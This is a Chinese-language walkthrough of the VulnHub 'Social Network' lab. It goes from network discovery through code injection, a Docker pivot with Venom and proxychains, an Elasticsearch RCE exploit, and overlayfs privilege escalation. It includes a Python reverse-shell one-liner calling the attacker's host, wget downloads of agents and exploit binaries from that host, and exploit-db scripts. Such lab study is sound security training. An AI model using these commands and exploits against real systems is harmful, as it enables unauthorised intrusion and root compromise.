0x01 下载地址

BoredHackerBlog: Social Network ~ VulnHubBoredHackerBlog: Social Network, made by BoredHackerBlog. Download & walkthrough links are available.https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

0x02 靶机目标

获取靶机root权限

SOCIAL NETWORK系列的靶场与常规靶场略有不同，拿到手的时候只有一个登录界面，他的ip地址、端口号、账号密码、服务类型、框架结构等信息全都需要我们手动探索。靶场难度为中等难度，这也意味着仅靠一两种进攻手段是无法getshell的， 需要将多种攻击方式综合起来灵活运用。

0x03 详细步骤

一、锁定靶场ip地址

由于靶场与试验机处于同一网段，我们可以通过在实验机上运行同网段IP地址扫描指令快速定位靶场ip地址

1.同网段IP地址扫描（管理员权限下不加sudo直接运行即可）：

sudo arp-scan -I eth0 -l

 

2.发现靶机IP地址为192.168.43.133，随即对目标靶机进行全端口扫描，这时候可以发现目标靶机只开放了TCP22、5000端口

sudo nmap -p- 192.168.43.133

3.接下来看一下靶机端口开放服务，可以看到TCP5000端口，开放的是Python2，Web服务

nmap -p22,5000 -sV 192.168.43.133

 

 二、Web信息收集

1.接下来用浏览器访问http://192.168.43.133:5000，看看能不能找到注入点。

页面上只有一个表单，输入的数据都会在界面上显示，本来以为会有跨站脚本的漏洞，试了一下发现并没有。

2.扫一下http://192.168.43.133:5000目录看看，也不能说一无所获吧，至少发现了一个/admin目录。

这个目录我手注的时候就发现了，但是也没有注出其他的来，于是就扫了一下，结果发现就只存在这一个目录，好吧，那就这样吧。

dirsearch -u http://192.168.43.133:5000 

 三、Web 命令执行漏洞利用AND反弹Shell

 1.浏览器访问http://192.168.43.133:5000/admin，发现可以Input some code to exec()，这就意味着可以执行命令，到这一步总算是有点眉目了

 

2.使用Python脚本尝试反弹shell

先用nc在Kali主机上监听TCP8888端口 

nc -lnvp 8888

 

3.在http://192.168.43.133:5000/admin整个Python脚本，看看能不能反弹shell

 这里就将就用个简单点的脚本了，复杂的不会写，这里的192.168.43.132是我的kali,8888是监听端口

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.43.132",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

 

 4.反弹shell成功

成功get root权限 

我差点以为已经成功了，接着就在root权限下进行信息收集，本来想找一下passwords文档的,结果发现是个docker。

咱让人骗了，寄

这种感觉就像你去吃的牛肉胡辣汤的时候端上来的只有胡辣汤没牛肉。

（怎么判断是不是Docker容器？如果不能直观的判断出来的话，可以查看一下根目录下是否存在.dockerenv文件：ls /.dockerenv；要么就查看/proc/1/cgroup下是否存在docker目录：cat /proc/1/cgroup）这么看的话特征就很明显了，这也算是判断容器的主流方法了

ls /.dockerenv

cat /proc/1/cgroup

 四、尝试内网穿透

1.先做内网扫描，看看同网段下有没有可以突破的点

ip address一下，发现内网段为172.17.0.3/16网段

ip address

 废话不多说，直接开扫，先写一个for循环

for i in $(seq 1 254); do ping -c 1 172.17.0.$i; done

 

 发现同网段下只有172.17.0.1，172.17.0.2，172.17.0.3存活

2.安装内网穿透工具

我这里用的是Venom，下载地址：https://github.com/Dliv3/Venom/releases

安装完成后在Kali主机Venom目录启动一下Python3 Http Server ，待会需要用靶机去连我们的试验机。

python3 -m http.server 80

然后启动Venom管理端就可以了，监听本地9999端口

./admin_linux_x64 -lport 9999

 

服务端起来以后，再去靶机部署一下Venom客户端

wget http://192.168.43.132/agent_linux_x64

 赋予客户端可执行权限

chmod +x agent_linux_x64

 靶机启动客户端

./agent_linux_x64 -rhost 192.168.43.132 -rport 9999

 

 这时候就可以在Kali主机的Venom服务端上看到已经有主机上线了

 

 接下来需要查看一下上线情况

show

 发现有一个节点成功上线

 

 现在就可以连接节点启动监听了

goto 1

socks 1080

 五、挂代理进行内网扫描

1.先进vi改一下proxychains的配置

把最后一行改成socks5  127.0.0.1 1080

vi /etc/proxychains4.conf

 修改完以后保存退出

2.挂代理开启扫描

三台存活主机挨个扫一遍

proxychains nmap -Pn -sT -sV 172.17.0.1
proxychains nmap -Pn -sT -sV 172.17.0.2
proxychains nmap -Pn -sT -sV 172.17.0.3

3.发现172.17.0.3开放的是9200端口

9200开启的是ES的服务，其实一看到9200的时候，研究过es相关漏洞的人第一时间就会想到可以利用ES的RCE漏洞打开突破口了。没玩过的也不要紧，直接searchsploit Elasticsearch 搜一下就完事。

我之前在一家客户现场的设备上就见到了很多ES的风险告警，可惜客户觉得是在内网环境下问题不大，一直不愿意整改，结果后来攻防的时候就吃亏了，今天又让我碰到了。

 六、通过Elasticsearch打开突破口

1.搜一下Elasticsearch相关的漏洞 

先挑几个RCE的脚本试一下，如果失败的话就全部漏洞挨个抡一遍

searchsploit Elasticsearch

2.复制36337.py到当前目录 

cp /usr/share/exploitdb/exploits/linux/remote/36337.py .

先瞅瞅脚本里都写的啥

vi 36337.py

来来来，让我看看怎么个事 

可以看到用的是python2，这样的话我们执行的时候就要注意一下

python2 36337.py

先执行一下脚本看看怎么个用法 

可以看到运行的时候在脚本后面跟目标地址就行

ok,直接执行脚本 

proxychains python2 36337.py 172.17.0.3

3. 查询用户身份

发现这回是root权限，终于在目录下发现了passwords文件

泪目

 

不出意外密码是加密的，这种的用Hashcat整或者用在线解密工具整都可以

登一下看看 

ssh [email protected]

 七、本地用户提权

1.提权 

sudo -s

激动的心颤抖的手

终于到了这一步，如果能成功的话到此就圆满结束了

失败了

f**k 

压根不在管理员组 

 2.继续进行信息收集

查看一下内核版本

uname -a

 可以看到内核版本是比较老旧的，但具体有什么洞我也不知道，只能先搜一下看看

searchsploit linux 3.13.0 ubuntu priv

 这么看的话，还真有不少

 先整一个再说

cp /usr/share/exploitdb/exploits/linux/local/37292.c .

 打开瞅瞅

看起来是一个C语言写的脚本，需要用到gcc进行编译，先拿到靶机上跑一下试试 

报错了，咋回事，再看一下。。。

靶机上没有gcc，根本编译不了

这样的话就这只能在kali上编译完再拿给靶机执行了（其实做到这一步的时候，我把编译后的文件拿到靶机运行还是提权失败的，不知道是哪里出了问题。一开始以为是靶机环境问题，试了下重启，结果还是不行，因为前面搭隧道的时候靶机就一直自行中断，每次都得重启一下，原本以为重启能够解决，这样看来跟靶机本身没啥关系）只能重读一下代码看看

后来发现其实问题还是出在脚本上。脚本在后半段第143行定义了一个变量lib,通过这个变量调用的system函数，是这里的函数再次执行了gcc指令，把C语言的库文件ofs-lib.c编译成二进制共享库文件ofs-lib.so。

而脚本调用的正是重新编译后的二进制共享库文件ofs-lib.so，在139行这里我们就可以看到对二进制共享库文件ofs-lib.so进行调用的代码

这也就很好的解释了为什么我拿着编译后的脚本去靶机跑还是会失败，主要还是因为脚本需要两次用到gcc命令进行编译。即便我已经编译过一次了，拿着编译后的文件到靶机上跑的时候它还是要再执行一次gcc指令把C语言库文件ofs-lib.c编译成二进制共享库文件ofs-lib.so

3.脚本执行

这样的话问题就简单了，只需要先把ofs-lib.c文件先编译好，再把编译好的文件单独拎出来发给靶机就OK了

先在kali上找一下C语言的库文件ofs-lib.c给他编译一下，呃。。。没有这怎么编译

 locate ofs-lib.c

 再找一下二进制共享库文件ofs-lib.so 看看，msf的漏洞利用模块里倒是有编译好的。如果C语言的库文件ofs-lib.c在kali里没有只在靶场环境下才有的话，那为啥msf里会有编译好的呢

locate ofs-lib.so

 

这波属于舍近求远了

有了现成的so文件，后面直接调用就ok,那脚本里关于编译ofs-lib.c文件的代码直接删掉或者注释掉就行了，即便后面运行的时候会出现报错也不会影响其他函数

先进行第一次编译 

gcc -o exp 37292.c

 把ofs-lib.so文件拎出来

locate ofs-lib.so

cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .

 

 4.将编译后的脚本和ofs-lib.so文件一块放到靶机上

之前起的server已经被我关掉了，这里我再在 kali主机先启一个http server方便靶机下载文件

python3 -m http.server 80

在靶机上下载exp和ofs-lib.so 

wget http://192.168.43.132/exp

wget http://192.168.43.132/ofs-lib.so

下载完成后把文件放在tmp目录下 

mv * /tmp/

cd /tmp

看一下，确认俩文件都在tmp目录下了，为啥要放到tmp目录下呢，主要还是因为脚本在调用so文件的时候是要去tmp目录下调用的，我们都给他整到tmp目录下可以避免报错从而提高成功率

这个是前面脚本里关于调用so文件的代码 

给exp一个可执行权限，然后执行一下看看，这三行是三条指令

chmod +x exp
./exp
id

 

 执行exp文件，提权成功

The end

做的过程中遇到的问题以及各种报错层出不穷，从第一步开始靶场都扫不到，手动探测的时候发现靶场端口一会儿是开着的一会儿又关了，每次都得重启好几回。而且C语言的库文件ofs-lib.c本地是没有的，编译的时候纠结了半天，没想到msf的漏洞利用模块里倒是有编译好的so文件，每次卡住的时候百度一搜全是答案没有过程，说实话，如果拿到靶场上手做的时候不看答案倒推思路的话，很难第一时间想到可以直接搜出来编译后的文件。

从主机发现、端口扫描、服务发现、目录扫描、代码注入、Shell脚本执行、内网信息收集、内网穿透、漏洞利用、密码破解、本地提权、攻击脚本修改到提权成功，一路顺下来是一个漫长的过程。光是提权脚本需要两次编译这个地方就花了不少时间，脚本有的是，但环境又未必支持，可能探索的过程就是解题的魅力所在了，没有环境搭环境，缺工具就部署工具，希望没有辜负出题者的一番苦心吧。

现在是凌晨两点半，接下来开始整下一个题目，来看看这回的题是个啥路子